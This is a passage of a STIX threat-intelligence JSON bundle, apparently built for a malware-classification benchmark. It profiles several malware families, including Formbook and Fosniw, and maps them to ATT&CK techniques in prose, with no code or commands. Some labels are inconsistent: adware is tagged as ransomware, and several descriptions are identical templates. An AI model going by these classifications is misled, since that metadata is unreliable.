      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa222622-f91a-5698-825b-2c8ce919b171",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Food exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Forbot",
      "description": "Trojan:Win32/Forbot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Forbot</b><br>To an end-user, a Forbot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Forbot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Forbot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Forbot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Forbot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Forbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/forbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f6d9388-eff3-5e43-8e7d-a8d47030dd0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0919e78e-0fce-535f-8ca4-5268f5d76fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e169fbbc-28c8-55d0-8e66-bfe1fb0aebcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56cd5b3a-715a-59a1-bbb3-f12e383a3aba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forbot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9b5fa85-7e36-5ad1-9d2f-e371202daf48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fae7f587-867c-5651-9d19-b1dda38bbdb1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forbot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f7ce7a6-cb96-5788-96e4-696421bf186d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Forcestartpage",
      "description": "BrowserModifier:Win32/Forcestartpage is a generic classification for aggressive Potentially Unwanted Programs (PUAs) functioning as **Browser Hijackers**. Its primary objective is to silently modify the settings of installed web browsers (Chrome, Firefox, Edge) without user consent, forcibly changing the default homepage, new tab page, and default search engine to point to monetized, affiliate-controlled domains or adware networks.<br><br><b>Understanding Browser Hijackers</b><br>To an end-user, Forcestartpage manifests as severe frustration: every time they open their browser or search for something, they are redirected to an unfamiliar, ad-heavy search portal (like Yahoo Search provided by a shady third party, or a completely fake search engine). For an enterprise, it represents a security risk because the hijacked search results are completely unvetted and often prioritize links to tech support scams or malware exploit kits. It also allows for the unauthorized tracking of all user search queries.<br><br><b>Execution and Hijacking Mechanics</b><br>Forcestartpage is almost exclusively distributed via deceptive software bundling (`T1189`), secretly attached to the installers of legitimate freeware downloaded from untrusted sources. During installation (`T1204.002`), it installs itself as a malicious browser extension or modifies the browser's shortcut properties directly (appending a URL to the target path) (`T1547`). It forcibly modifies the browser's preferences (`T1562.001`) to point to its own monetization portals. To maintain persistence, it often employs a background Windows service or Scheduled Task that constantly monitors the browser settings, immediately reverting them back to the hijacked state if the user attempts to manually fix them.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is privacy violation (search tracking) and severe disruption of the user's workflow. IoCs include EDR alerts for unknown processes modifying browser preference files (e.g., Chrome's `Preferences` JSON file) or altering the properties of `.lnk` shortcut files on the Desktop. The user will report being unable to change their homepage back to Google or Bing. Network logs will show all search queries being routed through unknown tracking domains before reaching a search engine. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Forcestartpage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/forcestartpage"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d9d8ea7-060e-5973-babd-d0863be29624",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f7ce7a6-cb96-5788-96e4-696421bf186d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forcestartpage exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Hijacking search/homepage settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5727685c-b3fe-5cb8-a55e-753d499da8ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f7ce7a6-cb96-5788-96e4-696421bf186d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forcestartpage exhibits technique T1189 (Drive-by Compromise (Software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b6f59f1-eaa3-5f39-a3c8-c1ecb56625fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f7ce7a6-cb96-5788-96e4-696421bf186d",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forcestartpage exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Appending URLs to browser shortcuts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c5724e8-7835-57b8-b2c5-7d3134636363",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f7ce7a6-cb96-5788-96e4-696421bf186d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Forcestartpage exhibits technique T1176 (Browser Extensions (Installing malicious extensions))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--474de113-a49c-55a7-96f3-d0f7a8ca9c7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Formbook",
      "description": "Formbook (rebranded in recent generations as XLoader) is a prolific, cross-platform information stealer and spyware implant offered on underground cybercrime forums as a rental service since early 2016. Originally authored by a developer known as 'ng2000', Formbook was engineered to harvest credentials and surveillance telemetry while evading advanced endpoint detection systems.\n\nFormbook hooks window messaging routines and browser networking APIs to capture keystrokes, clipboard contents, and submitted web forms (including banking credentials and logins) before TLS encryption. It features a sophisticated decoy command and control mechanism: in every communication cycle, Formbook dispatches HTTP requests to dozens of legitimate decoy domains (such as university or news websites) intermingled with a single encrypted payload sent to the real C2 gate. In 2020, the developers expanded the codebase to target Apple macOS under the name XLoader, establishing it as one of the few truly cross-platform commercial spyware offerings extensively leveraged in Business Email Compromise (BEC) and corporate espionage. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Formbook",
        "XLoader",
        "InfoStealer.FormBook",
        "Trojan.FormGrabber",
        "Win32/FormBook"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Formbook",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/formbook"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adeededc-387e-5a87-9e91-d6b0d138a21a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474de113-a49c-55a7-96f3-d0f7a8ca9c7d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Formbook exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba507670-4913-514d-aa73-fc62c59ebd6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474de113-a49c-55a7-96f3-d0f7a8ca9c7d",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Formbook exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc917b20-ad75-554b-870c-a026d7a4b3ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474de113-a49c-55a7-96f3-d0f7a8ca9c7d",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Formbook exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc8ec106-fb51-5a77-af30-59500ce44a1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--474de113-a49c-55a7-96f3-d0f7a8ca9c7d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Formbook exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0aea2f3d-846d-595c-baa3-505dbeeb761f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fosniw",
      "description": "<h3>Executive Summary</h3>\nFosniw is a hybrid threat that combines the persistence and payload delivery mechanisms of a Trojan with the rapid propagation capabilities of a network worm. It is engineered to infiltrate a network, rapidly spread across open shares and vulnerable systems, and establish a backdoor or download secondary malware, making it highly disruptive in poorly segmented enterprise environments.\n\n<h3>Propagation and Execution Lifecycle</h3>\nFosniw utilizes a multi-pronged approach to maximize its infection radius within an organization.\n\nIts execution lifecycle relies on exploiting network trust and weak security postures:\n<ul>\n<li><strong>Network Share Exploitation:</strong> The primary propagation method for Fosniw involves aggressively scanning the local area network (LAN) for open Server Message Block (SMB) network shares. It attempts to brute-force weak administrator credentials or exploit unpatched SMB vulnerabilities to copy its executable to adjacent servers and workstations.</li>\n<li><strong>System Modification and Hiding:</strong> Once resident on a new host, the worm copies itself to the Windows System directory and modifies the Registry (e.g., `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`) to ensure it executes upon every reboot. It frequently alters system policies to disable Task Manager and Registry Editor to hinder manual removal.</li>\n<li><strong>Trojan Functionality:</strong> After establishing persistence and continuing its lateral movement, Fosniw connects to a command-and-control (C2) server. It typically acts as a downloader, receiving instructions to pull down and execute secondary payloads, which range from cryptominers to destructive ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Fosniw infection is highly disruptive. Because of its worm capabilities, a single infected endpoint can lead to a cascading failure, compromising hundreds of machines across the enterprise within minutes. The ability of the C2 server to deploy secondary malware elevates this to a critical risk requiring immediate containment.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not just isolate the initially infected machine. Physically or logically segment the affected VLAN to halt the lateral spread of the worm via SMB.</li>\n<li><strong>Credential Auditing:</strong> The worm's ability to spread implies weak or default passwords on network shares. Conduct an immediate audit of service accounts and administrative credentials, enforcing complex passwords.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Conduct a massive forensic sweep across all endpoints and network shares to identify the Fosniw executable, remove its persistence mechanisms, and ensure no secondary payloads were deployed prior to containment.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Fosniw",
        "Trojan.Fosniw",
        "W32/Fosniw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fosniw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fosniw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0100cf46-0bc6-5b7c-9513-e7433ebc3647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aea2f3d-846d-595c-baa3-505dbeeb761f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fosniw exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66bf8f40-747f-583d-8f19-f599cce9f45c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aea2f3d-846d-595c-baa3-505dbeeb761f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fosniw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0192705d-e017-5afa-9e57-0e84fac1585c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aea2f3d-846d-595c-baa3-505dbeeb761f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fosniw exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--515f17f0-38f4-591f-add3-b59a14abb95b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aea2f3d-846d-595c-baa3-505dbeeb761f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fosniw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5b6b552-c32c-5998-8465-e836b3b3b068",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fotopapps",
      "description": "Adware:Win32/Fotopapps is a persistent adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions, pop-ups, and affiliate link redirection. Fotopapps specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Fotopapps (Browser Hijacking)</b><br>To an end-user, Fotopapps makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Fotopapps is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Fotopapps is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Fotopapps often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fotopapps",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fotopapps"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--298bc34b-95c1-5d60-8f4b-79b90a3b0019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b6b552-c32c-5998-8465-e836b3b3b068",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fotopapps exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4f747c1-c48a-5add-bdec-6e51ab9c8677",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b6b552-c32c-5998-8465-e836b3b3b068",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fotopapps exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aa4c67e-d516-596b-962e-98c4b4351ca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b6b552-c32c-5998-8465-e836b3b3b068",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fotopapps exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fourthrem",
      "description": "Trojan:Win32/Fourthrem is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fourthrem</b><br>To an end-user, a Fourthrem infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fourthrem is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fourthrem is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fourthrem frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fourthrem reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fourthrem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fourthrem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8e3cda1-93db-57d5-931d-04a959dcd293",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fourthrem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8840714-2f5f-501e-a8a1-4d28e047787b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fourthrem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03cd59c9-e0ca-595b-b89c-ce7332263407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fourthrem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--900c3301-8f54-5497-be3a-be4a5683ef24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fourthrem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c73502e-245e-5b15-957f-f48c1f7265b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a26dab-5dcd-5b10-bf7a-b87585e2dde2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fourthrem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Foxhiex",
      "description": "Trojan:Win32/Foxhiex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Foxhiex</b><br>To an end-user, a Foxhiex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Foxhiex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Foxhiex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Foxhiex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Foxhiex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
